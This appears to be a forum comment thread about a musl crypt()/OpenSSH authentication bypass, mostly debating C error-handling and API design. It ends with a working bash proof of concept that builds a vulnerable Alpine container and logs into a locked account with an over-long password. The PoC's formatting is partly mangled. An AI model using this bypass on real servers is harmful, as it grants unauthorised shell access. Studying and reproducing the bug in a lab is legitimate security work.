Can we please now normalize AI usage in development? Just some other day people asked for "NO AI used" badges for software as measure for quality, and praised i.e. NetBSD for being AI-free. Yes, we come from a phase of AI slop, but it has become obvious that there are plenty of legit usecases where AI beats human-only effort nowadays.

Just do HITL (human in the loop). Use an LLM to help you author, but steer the AI in whatever direction you want. It's like having a slightly delusional copy of yourself to pair program with. If you take the time to provide an LLM with some additional skills files and the like, with you in the pilot seat, you can get solid results (it doesn't look as cool as a hands free agent setup but the quality far surpasses anything they can do solo).

- I found a way to get AI to help me while I made this

- I asked AI to make this

The people you're objecting to are complaining about the latter, this is an example of the former.

1. It is already normalized outside of a tiny, but very vocal bubble that lives mostly on Bluesky (sometimes also on Reddit/HN/Mastodon).

2. I don't think that even the most staunch AI hater would object to using AI for security research as long as all the artifacts (code, docs) that were produced based on the research are human-written. "Yes, there is a bug in my program, but I refuse to fix it, because I know that you found it using AI" would be a pretty weird position. Not sure, how would you defend it.

This isn't even just the software industry, humans are like this about everything. Imagine explaining to something rational that (a) humans didn't realise that they won't be able to competently operate a motor vehicle while watching TokTok dances, and (b) when we finally made that illegal because it's such an obviously bad idea they would keep doing it anyway.

This is why those "What if it builds SkyNet?" conspiracies were so stupid. Why on Earth would you build SkyNet when you can just invent Weeaboo and the idiot humans will die playing ?

There is even a contest for it: https://www.underhanded-c.org/

If I had a free afternoon, I'd ask a bunch of agents to track the people responsible and their other contributions (but usually the scheme is "contribute valuable patches to build reputation, and only inject an exploit when safe to do so").

Not everyone is like your sister and mother.

And like who even needed to plant back doors? If you're the NSA you already had an agent swarm in 1993, but it was made out of dudes from Berkeley and New Haven instead of racks in Prince William County and 印材 (and they were literal secret agents I guess, pretty metal). You can get back doors just by foraging, no need for agriculture.

The whole idea of neural nets is that we aren’t smart enough to design the function as programmers so we need to learn it

I was able to reproduce this on Alpine 3.23.7 with OpenSSH_10.2p1.

Luckily PermitRootLogin [0] hasn't defaulted to yes since 2015 [1]. I'm guessing that's at least part of why this went undiscovered for so long.

0: https://man.openbsd.org/sshd_config#PermitRootLogin 1: https://cvsweb.openbsd.org/diff/src/usr.bin/ssh/sshd_config?...

Were those pictures with links generated using a publicly available tool that we could use, or were it custom (vibe)coded specifically to create this page?

[0] https://en.wikipedia.org/wiki/Eternal_September

Putting services behind ssh forwarding was the way to secure something you're worried about rather than the other way around, but Wireguard actually makes a good argument nowadays. Iirc they did proofs for the cryptography and it has good design in terms of attack surface, and it's old/mature enough now that I'll say it's probably better than exposing SSH. On the other hand, when this thing running in your kernel gets compromised, you're slightly worse off than with someone logging into a passwordless service account as in the current bug

In both cases, you're just feeding >256 A's up to a 1024-byte limit until the underlying C code trips over its own length cap. Back in the mid-2000s, Luigi was famous for publishing one-line .cfg scripts where the entire exploit was literally "/say aaaaa..." repeated a few hundred times. ¹ ²

A great example is Jedi Academy, a 2003 Quake 3 engine game whose multiplayer is still actively played today (its open-source engine port, openjk, is even in the Debian repos btw). Luigi had two classic scripts for it on his site: Jedi Academy <= 1.011 in-game server buffer-overflow (jamsgbof)¹, which crashed the server just by pushing a string of as past the 1024-byte console buffer, and Quake 3 engine in-game players kicking (q3msgboom)², where a wall of as hit the engine's 1022-char truncation limit and the leftover bytes confused the parser into disconnecting everyone on the server.

Kind of wild that 20 years later, the exact same payload goes from crashing Quake 3 matches from the tilde console to getting root on some SSH servers.

[1] https://web.archive.org/web/20101227181948/http://aluigi.alt... [2] https://web.archive.org/web/20060522175643/http://aluigi.alt...

The goal from an attacker’s perspective is to get this to be true: `$ret = crypt($pw, $hash); $ret == $hash` when called by OpenSSH’s sshd. This is how sshd validates that the user logging in knew the account password.

The `$hash` is the “settings” to the crypt call and will normally look like “$6$--gibberish” for users with passwords set, but could look like “*” or “!” for users not intended to be able to login.

The bug is from the intersection of all of these things:

1. musl can return “*” for errors, rather than leave the return value NULL. Other libc have adopted something like this too, but seem to use a different result “*0”.

2. musl can also return “+” for errors, but only does so if $hash starts with “*”. This is intended to eliminate the possibility of an error causing `$ret == $hash` to be true, however it assumes that applications calling `crypt()` will set $pw and $hash to values corresponding to the `$ret == $hash` comparison to be made immediately afterwards.

3. OpenSSH can be convinced to pass the hash of a different user if the hash is “*” or “!” to avoid timing attacks that can enumerate the user list, so it will set $pw and $hash to correspond to different users. $hash will be a real “$6$--gibberish” style hash in this case, and OpenSSH expects `crypt()` to either return NULL or return a hash string. But now there’s two hashes OpenSSH uses. It does: `$ret = crypt($pw, $hash2); $ret == $hash1`;

4. This should normally not be a problem because OpenSSH will pass in valid $pw and $hash2 that should not lead to errors in hashing, so the $ret that musl generates should be a real hash that cannot match the “*” or “!” $hash1 for the login-disabled user. However as a DDoS mitigation, musl will return error if the password is too long when using SHA-2-based hashes (the default, it seems).

5. This error will result in a non-NULL result of “*” or “+”. Since OpenSSH passed in a real hash ($hash2), musl will return “*”, which compares equal to the actual user hash $hash1 for the disabled-login user.

The OpenSSL adjustment ensures a minimum hash length for the user before logging them in, even if crypt() succeeds somehow.

The ‘concise’ output style setting is bad with Opus 5.5, as it will often spit out a cryptic (is this really English?!), allergic-to-commas concise response, which takes more time to parse.

    < mundane detail>
    < If you don't run this command your computer will explode>
    < exposition > 
    < mundane reminder to follow up something else >

In the past I could get an explanation, where I was able to track the line of thought. Now when I read through the explanation it is like someone has taken two or three explanations and merged them into each other, like there is a combining of iterations without clarity.

example:

The tree is blue.

The tall tree has the color of blue.

the tree, while tall, is blue.

That finally gets squished into: the blue tall tree has height and is evident of blue.

Is this double speak or injected double effort of words?

Except it turns out that at least one of those things is because I didn't enable JS, and the static text is wrong!

(Turning on JS did not actually help, because then the page is filled with horrible, cheesy animations and I can't actually read any of it.)

The surface-level hints are gone, but the attempt to make every sentence pithy, the decisions on what information to present and what to assume the audience knows, and the over-emotionalization are all still there.

And that just ends up indicting the C language itself. Can't send errors down a separate channel; folks might not inspect errno. Can't return NULL on error, folks might compare it blindly to another result. No tagged unions, so can't return one. Can't crash on error because there's no scoped error handling. Can't return a struct for checking .error/.result separately, because alignment and equality (and tearing and accidental clobbering and more) make that brittle as hell for widely-used APIs.

C is not a good language for library APIs. Like, really not. It has its uses/strengths, sure, but without even getting into the typical gripes people have about C, libraries--one of the things that it is used for the most--are one of the things for which it is the least well-suited.

"But it has a stable ABI!" So does a land mine. Until you touch it.

    /// Hash the phrase with the given setting.
    fn crypt(phrase: &[u8], setting: &[u8]) -> [u8; CRYPT_OUTPUT_SIZE];

Maybe I'm wrong, but it looks to me like the exact same incentives and ways to screw things up exist in C and in Rust for this particular bug.

The problem is not that you can write bad stuff in rust, the problem is that this particular usage pattern can't be sanely coded in C. This is a public API that should inform users and enforce certain properties. A Results type does exactly that, you would have to go way out of your way to force invalid stuff through that type alone.

    int crypt2(const char *phrase, const char *setting, char *out);

For example, in a Rust web app, you can choose to use String for encoded URLs, unencoded URL fragments, escaped html, unescaped HTML, usernames, etc. Or you can choose to use newtypes and carefully design all APIs to only take and return the correct newtypes.

But if you have a stronger and more expressive type system, you are more inclined to use it, instead of looking for silly workaround like in C.

But in your version, you can't preserve backwards compatibility, making an infallible function fallible is a breaking change. For something comparable to libc you might want to (eg Rust std still has mem::uninitialized), but even with security issues, I feel like people would be more inclined to deprecate for a new function (or panic, which does have its own problems).

A good type system also means things are written with better forwards compatibility, and can be safely changed later. The Rust equivalent to `crypt` likely wouldn't exist: a low-level library would just provide hash functions, leaving callers to mitigate DOS etc; a broader library might return some opaque handle with equality/serialization, which you couldn't try to compare to a passwordless user; a high-level library would parse the account store itself. None of these really need to change in incompatible ways, they have all the information to add features and fixes at their own level of abstraction.

"Make invalid states unrepresentable" is such a useful adage when designing even basic systems, much less the gates to control your server.

It is the opposite that is unsafe, that is, when the returned value can't be NULL, but it stills returns a pointer. C++ has references in an attempt to fix this problem.

Because C tends to prioritize performance over safety, a NULL pointer dereference is considered undefined behavior and the compiler can invoke nasal demons if it makes the code go faster, but with the right options, you can have it checked and invoke what in other languages would call a panic handler, but on UNIX is the SIGSEGV signal. You can then attach a debugger or read the core file and see what went wrong.

Note: I am not talking about "char *" for strings, that one is unsafe, but NULL is not. It is just a special case of an option type, or a result type, or an error union. Modern languages just extended this idea to objects other than pointers, and with more than one type of error.

You don't have to think C is sound or good to distinguish a disfavored API style from mathematical unsoundness. There are infinitely many type safe APIs and languages that are, despite their soundness, ugly and hard to use.

I think almost all (tech) arguments stem from simple disagreements and/or different assumptions made on the definition of a (subjective) term.

That's a bit weird? In Rust, if you have an thing that returns Result<String, String> that's still type safe, even though success and error types are the same.

I think I know what you want to express..

You might say it's in-band vs out-of-band error signalling?

These types are not the same:

    Ok<String>
    Err<String>

Nit: the type constructor is `Result`: given two types `A` and `B` (not instances of those types, but actual types) it gives you a new type `Result<A, B>`.

`Ok` and `Err` are called "variants" and can be used to construct a new _instance_ of `Result<A, B>`.

Of course that breaks down, when the success type is also an error message, eg when you are looking up something in a catalogue of error messages.

Rust has no trouble with this, for exactly the reasons you line out.

I had never heard that phrase, and was delighted at the answer when I googled it its origin, thank you:

http://www.catb.org/jargon/html/N/nasal-demons.html

> “When the compiler encounters [a given undefined construct] it is legal for it to make demons fly out of your nose” (the implication is that the compiler may choose any arbitrarily bizarre way to interpret the code without violating the ANSI C standard)

I've heard nasal demons invoked as a literal possibility. No they are not a literal possibility.

Which is zero, to be clear. There's not even a standard USB device class for a nasal demon releaser

A null check elision is not a demon up my nose - it's a null check elision.

That's... a bizarre choice, considering how religious C is about not making any assumptions about what a machine can and cannot do, even going to the trouble of working with non-IEEE floats and int types that are not a multiple of 8 bits.

There’s no requirement that the in-memory representation of a null pointer be all-zeroes, only that 0 in source code represents whatever it is.

Regardless, I agree that it’s a bizarre choice.

Without the ability to express a non-nullable type, C cannot be unsafe in this way!

Would this mean all pointers in C are type safe?

These are not the same, and your second sentence suggests why. Option has but a single error type, but result types and error unions allow arbitrary types of error.

That depends on how you interpret the pointer type, but in any case there are multiple interpretation and just the fact that these exist will create confusion and type unsafety.

If NASA were to use the equivalent of `pub struct Newtons(f32); pub struct PoundsForce(f32);`, where the types Newton and PoundsForce were not interchangeable, this would never have happened[1].

[1] I'm aware that that story is a bit more complicated than that, that CSV files were involved (which are, again, not type safe), and that, in that particular scenario, more would have to be done to preserve type safety across formats, vendors and codebases, but my point still stands.

https://lexi-lambda.github.io/blog/2020/11/01/names-are-not-...

> The newtype is opaque, so the only way to observe it is to convert it back to a [f32].

You don't even need a fancy result type. A simple Option<String> would've forced downstream users to consider the failure case, avoiding this situation in the first place.

Now what?

Once again, no, because these unknown programs would just crash on the `.unwrap()`; not get in a silently corrupted state. Same causes, different effects.

Whereas if the library returns something that is unambiguously an option type, consumers unambiguously call unwrap at their own risk.

Of course you do have a point (assuming I'm picking up what you're suggesting correctly) that all pointers in C are option types. But I think there's a cognitive ergonomics aspect to this where an option type more clearly relays the library authors' intent.

However a better API (to me) that I would have written was:

    crypt_error_t crypt(...args, char *result, size_t resultLength) 

But POSIX API is not something well designed, it dates back to the '80 so... probably today would be written completely differently

Another example that C programmers love: using 0 to mean infinity. Eg when you have a timeout setting, and 10 means ten seconds, but 0 means infinity seconds instead of zero seconds.

What Rust calls an enum, but an enum with payloads. In C terms it would be a discriminated union.

In Haskell, the closest thing to adding 5 to an optional value would be something like:

    fmap (5+) my_optional_value

However OpenSSH passes a different hash to musl’s crypt() than what it later uses to compare, so musl doesn’t switch to the alternate return output because from its perspective, it’s already guaranteed not to accidentally compare the same as the input hash.

wtaf ?

musl switched to returning `*` so folks stopped accidentally using NULL results, which was causing crashes and risked false-positives comparing NULL to itself.

That was a misfeature and should never have been implemented. But I bet it was an easy band-aid change to make!

Why * specifically? Why not some random guid generated before committing, if it's so important to not let buggy software crash?

But buggy software might not crash; it might compare NULL == NULL and misbehave, instead.

So there's really no good option here, which is why C is a rancid choice of language for publicly-usable APIs. But we're stuck with it. So it goes.

But issues caused by folks forgetting to check errno, miscomparing NULL to NULL when calling multiple APIs, dereferencing external-API-returned NULL due to missed error checking, mishandling inherited errno after successful action, or--the most common--mishandling negative integer return sentinels meant to indicate errors? Those are incredibly common.

Standard C api calls return an integer, which is 0 on success or nonzero on error. Ignoring it is an intentional choice. `errno` is the hack that shouldn't really exist because it's trivially easy to forget to check that and also has issues with threading (patched by making it a thread local) and more recently, coroutines (which admit no general purpose patch because they're a userspace construct).

Another reason why this is terrible is that it's unclear what the returned pointer's lifetime is. Is it until the next call to crypt? If so, is it thread-local like errno? If it's passed on to the user, is it safe to call free() on it, or is there a crypt_free function that should be called instead?

But all of this, and I mean all of it pales in comparison to returning '*' on error.

100% agree. This is an egregious failure. But C's error-handling story would be bad even without this, and the badness of C's error handling is what motivated the (bad) decision to return *.

It'd be great if we wrote systems software in a language that supported advanced features like...

checks notes

...returning multiple values.

Hell, even in VBA you had to at least spend the keystrokes to type "on error resume next".

           If the password field contains some string that is not a valid result of crypt(3), for instance ! or *, the user will not
           be able to use a unix password to log in (but the user may log in the system by other means).

So they made the (very bad, but motivated by C's broken design/conventions) decision to return a magic string instead.

You can argue that C has broken design/conventions, but the musl decision was really really awkward.

0. There are tons of libc functions that return NULL on failure, it is conventional way in C to indicate failure.

1. There's no much to decide, just fail to login if crypt() fails with NULL.

2. errno is standard way in C to check error code of a failing function, but in case of login you hardly need this, just fail!

I totally agree that fixing this issue in musl was a pretty dubious solution. Don't fix what's not broken, fix broken application instead. Publish a CVE if you cannot fix it.

I looked through FreeBSD source code for how they use crypt(), it's checked for NULL everywhere!

Dude, they documented their rationale. It was dumb and wrong but totally relatable. Irresponsible users were getting crashes, and I’m sorry to tell you that for a lot of library maintainers

> Returning NULL on error is actually an excellent choice because most programs will crash if they try to use it without checking.

…is not something they want to write in responses to bug reports, even though it is quite true. It’s human nature to want to prevent your stuff causing problems for others, even if the problems are fully their fault. Most people cannot and will not be Steve “so don’t hold it like that” Jobs, for fear that their decision will be just as short-sighted as his was.

In this case, that was obviously the dead wrong call. But I’ve been in that seat, and “closed: user error” for the 100th time feels bad to write. Add to that a touch of misplaced cleverness, and you get “hey…what if we just returned an impossible string instead of an error?”

Evil requires motive or malice, and I’m having trouble coming up with those in this case. These patches weren’t concealed or miscategorized a la xz, the behavior was discussed in the open. They were just, in hindsight, really poor decisions made for ordinary reasons. Hanlon’s Razor and all that.

That's the job of a OSS library author.

Agreed, but I can’t think of any other widespread ABIs that are better. Rust’s is not stable both C++ and Rust have concepts that don’t map into other languages well, so using them wholesale is a no go. So it would probably need to be a subset of those. Honestly just tagged unions would probably be enough. Maybe the solution is to get native tagged unions into C…

There is the concept of "defense in depth": having each layer of code and configuration be sane and secure. Even if you program in Rust, you should be vigilant in that sense. This kind of code amounts to removing one or two layers.

Of all the things to mitigate...

1) crashing should be an option - it noisily indicates "there's a problem" and if it faults and dumps core, you've got a guided tour of your problem.

2) Is testing NULL as a passable option likely? I'd guess a more likely idiom is:

  if(NULL==(str=somefunc(arg1, arg2))){
    return err;
  }

> The behavior of crypt on errors isn't well standardized. Some implementations simply can't fail (except by crashing the program), others return a null pointer or a fixed string. Most implementations don't set errno, but some do. POSIX specifies returning a null pointer and setting errno, but it defines only one possible error, ENOSYS, in the case where crypt is not supported at all.

In my opinion the problem is that the behavior of crypt is underspecified - it isn't even specified how it signals failure, which is shocking.

You can't check errno to see if there was a failure because, as the man page says, the value of errno is unspecified when crypt succeeds.

    > You can't check errno to see if there was a failure because, as the man page says, the value of errno is unspecified when crypt succeeds.

Wise words. I think early in my career I tended towards coding as defensively as possible in a very specific way of "don't crash", as I definitely was not working in codebases I felt I had a full picture of. "I don't know who calls this method, and I don't want to get a call in the middle of the night that I broke prod" so I would say, return an empty string when asked to format a datetime except I'm passed a string or an int. (Yes, I was working in dynamic, untyped languages, too).

Later on, even in untyped languages, I came around more to "Throw loud and specific exceptions when asked to do things that are nonsensical" - it requires more overall cojones though because it may cause "your code" to crash. But the realization I came to was that it's better to crash (a MaliciouslyLongPasswordError was uncaught) because "AuthManager asked PasswordService to check a password that was 2MB long" than to paper that over until something like this comes out. Or, the more common situation, you're passed garbage, you return something that won't choke the caller at the time, but what it saves to the database in that scenario ends up being corrupt data. 6 months later someone notices, and has to sort out a data mess that may or may not be recoverable.

I dig it.

[1]: https://www.martinfowler.com/ieeeSoftware/failFast.pdf

[2]: https://en.wikipedia.org/wiki/Fail-fast_system

That seems orchestrated.

https://lists.llvm.org/pipermail/llvm-dev/2019-June/133308.h...

> Upon error, crypt_r, crypt_rn, and crypt_ra write an invalid hash to the _output_ field of their _data_ argument, and crypt writes an invalid hash to its static storage area. This string will be shorter than 13 characters, will begin with a ‘*’, and will not compare equal to _setting_.

Fedora asked libxcrypt to give them back glibc's behavior, returning NULL, and they obliged by adding ./configure --disable-failure-tokens. But it's an option that Debian never enabled.

https://github.com/besser82/libxcrypt/issues/25

https://salsa.debian.org/md/libxcrypt/-/blob/master/debian/r...

https://www.underhanded-c.org/

Of course given the chance that one might do a direct string comparison between crypt's return and the passwd/shadow file's hash field it was still a not well thought out choice.

So the knock-on effect is that libraries that do have errors other than ENOSYS to accommodate, have to return magic 'impossible' values instead of setting errno and returning NULL, because of the weight of existing applications that expect nothing but the standard, traditional AT&T Unix (and indeed old BSD), behaviour.

Check the GNU libc crypt() doco. It defines a whole family of 'impossible' values that signal errors, by dint of listing a load of magic characters that should never be in the encrypted string. Including asterisk.

Also check FreeBSD's OpenPAM for a case in point. Even today, it does not check for a NULL return from crypt() and leaps straight to strcmp().

* https://cgit.freebsd.org/src/tree/lib/libpam/modules/pam_uni...

If you want to see real history here, check out the 1992 comment by Eric Andrew Young, that is still in the source for OpenBSD today (in des/des_fcrypt.c), on how SSLeay's crypt() had to be adjusted so that any single character password field, including "*", did not end up successfully matching itself.

* https://cvsweb.openbsd.org/annotate/src/lib/libcrypto/des/At...

There is simply no universe in which a security-conscientious reviewer looks at the code, spots * being a valid return value, remembers that * is the default value in /etc/shadow for "no password login please" and then is all like:

This is fine, you check for * and return + instead.

There are more 32-long character sequences than atoms in the universe. Pick one, any of them instead.

Damn, that's a bug! Please file bug report.

* https://cgit.freebsd.org/src/tree/lib/libcrypt

As I said, the callers of crypt() have for a long time been using the knowledge that crypt() on their platform simply never returns NULL. Unix has never been returning NULL from crypt() as far back as 7th Edition, when it simply always returned a pointer to a single internal static buffer.

* https://github.com/dspinellis/unix-history-repo/blob/Researc...

The reality is that all C library people have to work with a corpus of Unix applications that do not check for crypt() returning NULL that goes back almost 50 years, and an error return mechanism that barely exists outwith the pages of the SUS.

That includes callers in single-user mode in process 1 in some configurations.

* https://cvsweb.netbsd.org/bsdweb.cgi/src/sbin/init/init.c?an...

* https://cgit.freebsd.org/src/tree/secure/lib/libcrypt/crypt-...

* https://man.freebsd.org/cgi/man.cgi?query=crypt&sektion=3&fo...

NetBSD's manual is more detailed on the subject, and explains the bind that library implementors have been in for decades, thanks to almost 50 years of applications knowing what crypt() 'really' does.

* https://man.netbsd.org/crypt.3#RETURN%20VALUES

And this despite the SUS trying to shoehorn an error return mechanism into crypt(3) in order to accommodate the problems that operating systems had exporting encryption code, two decades afterwards. (The 1997 GoSolo book explains that this is why there's an ENOSYS error.)

No. https://man7.org/linux/man-pages/man3/crypt.3.html

My guess is that you are reading the libxcrypt crypt(3) manual: https://www.mankier.com/3/crypt

That's not GNU libc, but frequently deployed on Linux systems.

* https://manpages.debian.org/trixie/libcrypt-dev/crypt.3.en.h...

Although that's a fine distinction for the point being made, as it's still the manual page for the crypt() function that one gets on the operating system, which that other manual page is not.

* https://sourceware.org/git/?p=glibc.git;a=commit;h=e6e3c6668...

Notice that Debian didn't list your manual page, which doesn't accompany a crypt() function at all, since it isn't actually the GNU libc manual but a separate independent manual for Linux. The GNU libc manual nowadays acknowledges Michael Glad's work but no longer documents crypt(). It used to, and it used to explain some of the 'impossible' encrypted string values:

* https://sourceware.org/glibc/manual/2.38/html_node/Passphras...

You noticed that I'd not got the GNU libc manual. Neither had you. (-:

Not to programmatically parse 'ls' output or some /proc/some/file.

Eg. git started as Perl scripts then moved to C to realy have data straight from C calls from system.

So for example all Internet things calling "openssl -some -options ...." are pure trash :>>

I am also in the camp that CLI tools should return objects that can be parsed (by the shell or otherwise).

OpenSSL??

> $ret = crypt($pw, $hash); $ret == $hash

musl is actually safe against this use. OpenSSL takes a bizarre code path, detects that $hash is too short, calls crypt($pw, $other_string), forgets that it detected that the hash was too short, and checks $hash == return value.

See my other comment.

A typo: `$ret = crypt($pw, $salt)`

alpine stocks are crashing?

musl stocks are crashing?

glibc stonks are up

alternative implementations in general slightly down

So AFAIU, you are fine.

A great example is Jedi Academy, a 2003 Quake 3 engine game whose multiplayer is still actively played today (its open-source engine port, openjk, is even in the Debian repos btw). Luigi had two classic scripts for it on his site: Jedi Academy <= 1.011 in-game server buffer-overflow (jamsgbof)¹, which crashed the server just by pushing a string of as past the 1024-byte console buffer, and Quake 3 engine in-game players kicking (q3msgboom)², where a wall of as hit the engine's 1022-char truncation limit and the leftover bytes confused the parser into disconnecting everyone on the server.

Kind of wild that 20 years later, the exact same payload goes from crashing Quake 3 matches from the tilde console to getting root on some SSH servers.

[1] https://web.archive.org/web/20101227181948/http://aluigi.alt... [2] https://web.archive.org/web/20060522175643/http://aluigi.alt...

OpenBSD probably did (which doesn't use musl), RedHat probably did (or some other distro using glibc), but they all don't use musl.

- an account with /etc/shadow hash set to '*'

- (note root won't work by default because of PermitRootLogin prohibit-password default)

- attempt twice, first attempt fails second long password is accepted (that took me a while to understand)

In practice passwd -l seems to lock with a ! prefix, and new account without passwords are created with a single ! which is also not affected, I'm not sure how big the impact actually will be in practice and don't understand the recommendation to upgrade urgently right now... Just don't use `*`?

Well but, alas, a non-zero number of user probably do use it, though and "upgrade X" is a clearer and better instruction to communicate than "change this setting where maybe you don't even know what it means and it might break your workflow, but saves you an upgrade".

Do you have an example? Looking at Alpine's advisory, I can only see that their cloud images (i.e. what you use to run a VM, not a container) have a default alpine user, no container images. And even with those, cloud images with cloud-init are unaffected with default config due to `PasswordAuthentication no` being inserted by cloud-init into sshd_config. So that leaves... Cloud images that use Tiny Cloud for provisioning. That's an instance bootstrapper authored by Alpine from the looks of it so I'm not sure how many people would prefer that over cloud-init (which a lot of VM/bare metal management software may already make easy to use) or just a non-cloud image.

At this point I feel embarrassed in front of the AIs.

[0] https://github.com/leonjza/sshhole-lab

It starts with a bold claim: "ssh accounts that should not accept a password will accept any password between 256 and 1024 characters". But then it keeps adding qualifiers:

- sshd compiled with musl

- not using PAM

- password logins enabled

- at least one account with '*' as the password "hash"

- at least one OTHER account with a valid password

- server is aligned with 2 ley lines

- hacker is wearing a blue t-shirt and green socks

Ok, the last two are an exaggeration, but still. The conditions are all ANDed, miss a single one and you're fine.

On top of that, as someone else in these comments reminded, the target account needs to have a valid login shell or other exploitable program assigned to it, and these passwordless accounts tend to have nologin or something similar.

To me this seems to fall on the "technically possible, practically very unlikely" bucket, kinda like the PHP vulnerability from the other day. Maybe this has gone unnoticed for so long because it just doesn't happen.

> - sshd compiled with musl

So alpine as well as a bunch of other embedded Linuxes. Huge install base.

> - not using PAM

What you get if you try to have a minimal setup. Default sshd config if you install from source.

> - password logins enabled

The default. Super common.

> - at least one account with '*' as the password "hash"

Almost every Linux system.

> - at least one OTHER account with a valid password

Almost every Linux system.

So sure, there are caveats, but they cover a massive install base.

This is a super bad bug

I'll concede that embedded linux might be my blindspot here. Maybe cheap web hosting, too, but that seems much less likely to be using musl.

https://openwrt.org/docs/guide-user/services/ssh/transfer_dr...

I haven't thought it through, but I suspect in an ideal world, sshd shouldn't have accepted the user password regardless of the outcome of crypt() if the user did not exist and it only pretended to go through the motions to avoid a timing attack.

Did look into their patch yesterday(?) which seemed to mitigate this issue which they (rightfully IMHO) consider caused by musl. But it seems their fix is to do a sanity check on the supposed hashed password char length, and thus still theoretically still allowing the possibility of those "!!!INVALID_PASSWORD!!!" suggestions to fall through....

This vulnerability clearly is not one that affects everyone like the PHP vulnerability did. But it's exposure is still significant and very easy to exploit. As easy as it gets.

On top of the embedded linux blindspot, this statement seems unfounded.

> if one IS running sshd, how often is it with unchanged defaults?

By definition, I would imagine the answer to this is most of the time.

> The default. Super common.

This always seems bonkers to me. I think SSHD should give you ONE password free connection of setup to copy your key over and then it just shuts the door behind it.

It might actually a good idea, but I would likely avoid it since my built-in Bayesian filter would just mark it as spam.

- blue t-shirts and green socks have been added to the defaults for hackers, just to help things along

- there are so many ley line "maps" out there that basically any server placement counts as aligned with at least two, so this one's free also

> Almost every Linux system.

But not, notably, on Alpine, which uses '!' instead.

From man 5 passwd:

> A password field which starts with an exclamation mark means that the password is locked.

> If the password field contains some string that is not a valid result of crypt(3), for instance ! or *, the user will not be able to use a unix password to log in (but the user may log in the system by other means).

Disabling sshd password logins is security 101, and the default for some cloud provided images these days. If password logins haven't been disabled, what other doors have been left open anyway?

Not sure whether the PHP vulnerability actually had been exploited, but I'm pretty sure there are literally thousands of machines out there affected by this ssh issue right now as we speak.

This isn't going to end well.

---

Addendum (which may or may not be related to the above) --

Everyone has heard of the tale of the boy who cried wolf. The main moral of the story is not to troll your fellow townsfolks so they don't distrust you. But everyone with a sane mind gets that.

The (IMHO) under-appreciated lesson is actually: don't be those villagers. Believe stories you are given, even if you might look like a fool for believing in them. Don't assume what happens is the same as what happened in the past. Look at the facts yourself. Trust and verify.

You'd think they'd all do the smart thing and exec a shell into the container's namespace. You'd be wrong.

Sure there are native Alpine installs too, but that is far less common of a use case.

OpenWRT also doesn't use PAM by default apparently, and there is a risk of people using password login, which you should never do past initial setup.

But outside specific niches, musl is rare, with good reason. Performance is a joke compared to glibc, especially the allocator. The only reason to choose musl in my opinion is for memory constrained devices (OpenWRT etc) or for building static binaries where performance doesn't matter but portability does. I consider the "small container" use case questionable: performance will suffer, and you could share large base layers instead which would amortize the cost over many different images.

Had to quickly scan the rest of the homepage of HN to confirm.

LLMs will find it.

They work endlessly at finding the 'and' scenarios.

This should have been closed up a long time ago.

The good news is that considering Alpine is open-source, you can be the one to make the judgement call that it is worth fixing and go out there and fix it ;)

What? Pretty sure Cloudflare detected widespread attacks almost immediately after it was published. We are probably lucky that not much more happened because of responsible disclosure and the large media attention led to widespread admin awareness.

You had me there :D

$ cat repro.sh #!/usr/bin/env bash # Self-contained PoC for the musl crypt() / OpenSSH "sshole" auth bypass # (non-root variant). Writes its own Dockerfile, builds + runs the # vulnerable sshd, exploits a locked ("") account, prints the result, # and cleans up. Needs: Docker, an OpenSSH client >= 8.4. set -euo pipefail

name=sshhole-poc port=2222 workdir=$(mktemp -d) trap 'docker rm -f "$name" >/dev/null 2>&1; docker rmi "$name" >/dev/null 2>&1; rm -rf "$workdir"' EXIT docker rm -f "$name" >/dev/null 2>&1 || true

cat > "$workdir/Dockerfile" <<'EOF' FROM alpine:3.15 RUN apk add --no-cache openssh-server \ && ssh-keygen -A \ && adduser -D alice && echo 'alice:correcthorse' | chpasswd \ && adduser -D victim \ && sed -i 's/^victim:[^:]/victim:/' /etc/shadow \ && printf '%s\n' 'PasswordAuthentication yes' 'PermitEmptyPasswords no' >> /etc/ssh/sshd_config ENTRYPOINT ["/usr/sbin/sshd", "-D", "-e"] EOF

echo "[] building vulnerable sshd image (Alpine 3.15, pre-patch openssh)..." docker build -q -t "$name" "$workdir" >/dev/null docker run -d --name "$name" -p "127.0.0.1:$port:22" "$name" >/dev/null sleep 2

# needs 2 password attempts in the SAME connection: 1st primes OpenSSH's # cached fake-salt, 2nd (>256 bytes) is then accepted for "victim", whose # /etc/shadow password field is "" and who has no real password. printf '#!/bin/sh\nprintf "A%%.0s" $(seq 300)\n' > "$workdir/askpass.sh" chmod +x "$workdir/askpass.sh"

echo "[] exploiting (2 attempts, one connection, second >256 bytes)..." SSH_ASKPASS="$workdir/askpass.sh" SSH_ASKPASS_REQUIRE=force ssh -p "$port" \ -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ -o PubkeyAuthentication=no -o PreferredAuthentications=password \ -o NumberOfPasswordPrompts=2 [email protected] id < /dev/null $ ./repro.sh [] building vulnerable sshd image (Alpine 3.15, pre-patch openssh)... [] exploiting (2 attempts, one connection, second >256 bytes)... Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts. Permission denied, please try again. uid=1001(victim) gid=1001(victim) groups=1001(victim) $ $ cat repro_root.sh #!/usr/bin/env bash # Self-contained PoC for the musl crypt() / OpenSSH "sshole" auth bypass # (root variant). Writes its own Dockerfile, builds + runs the vulnerable # sshd, exploits root (shadow field "", PermitRootLogin yes), prints the # result, and cleans up. Needs: Docker, an OpenSSH client >= 8.4. set -euo pipefail

name=sshhole-poc-root port=2223 workdir=$(mktemp -d) trap 'docker rm -f "$name" >/dev/null 2>&1; docker rmi "$name" >/dev/null 2>&1; rm -rf "$workdir"' EXIT docker rm -f "$name" >/dev/null 2>&1 || true

cat > "$workdir/Dockerfile" <<'EOF' FROM alpine:3.15 RUN apk add --no-cache openssh-server \ && ssh-keygen -A \ && adduser -D alice && echo 'alice:correcthorse' | chpasswd \ && sed -i 's/^root:[^:]/root:/' /etc/shadow \ && printf '%s\n' 'PasswordAuthentication yes' 'PermitRootLogin yes' 'PermitEmptyPasswords no' >> /etc/ssh/sshd_config ENTRYPOINT ["/usr/sbin/sshd", "-D", "-e"] EOF

echo "[] building vulnerable sshd image (Alpine 3.15, pre-patch openssh)..." docker build -q -t "$name" "$workdir" >/dev/null docker run -d --name "$name" -p "127.0.0.1:$port:22" "$name" >/dev/null sleep 2

